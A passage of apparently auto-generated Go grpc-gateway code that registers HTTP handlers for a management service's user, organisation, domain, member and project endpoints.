*http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ResendInitialMail_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ResendInitialMail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchUserMemberships_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchUserMemberships_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchUserMemberships_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreateOrg_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_OrgChanges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_OrgChanges_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_OrgChanges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetMyOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetMyOrg_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetMyOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetOrgByDomainGlobal_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetOrgByDomainGlobal_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetOrgByDomainGlobal_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateMyOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_DeactivateMyOrg_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateMyOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateMyOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ReactivateMyOrg_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateMyOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchMyOrgDomains_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchMyOrgDomains_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchMyOrgDomains_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddMyOrgDomain_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_AddMyOrgDomain_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddMyOrgDomain_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_GenerateMyOrgDomainValidation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GenerateMyOrgDomainValidation_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GenerateMyOrgDomainValidation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_ValidateMyOrgDomain_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ValidateMyOrgDomain_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ValidateMyOrgDomain_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SetMyPrimaryOrgDomain_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SetMyPrimaryOrgDomain_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SetMyPrimaryOrgDomain_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveMyOrgDomain_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveMyOrgDomain_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveMyOrgDomain_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetMyOrgIamPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetMyOrgIamPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetMyOrgIamPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetOrgMemberRoles_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetOrgMemberRoles_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetOrgMemberRoles_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddMyOrgMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_AddMyOrgMember_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddMyOrgMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeMyOrgMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ChangeMyOrgMember_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeMyOrgMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveMyOrgMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveMyOrgMember_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveMyOrgMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchMyOrgMembers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchMyOrgMembers_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchMyOrgMembers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ProjectChanges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ProjectChanges_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ProjectChanges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchProjects_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchProjects_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchProjects_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ProjectByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ProjectByID_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ProjectByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateProject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreateProject_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateProject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateProject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateProject_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateProject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateProject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_DeactivateProject_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateProject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateProject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ReactivateProject_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateProject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveProject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveProject_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveProject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchGrantedProjects_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchGrantedProjects_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchGrantedProjects_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetGrantedProjectByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetGrantedProjectByID_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetGrantedProjectByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetProjectMemberRoles_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetProjectMemberRoles_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetProjectMemberRoles_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", 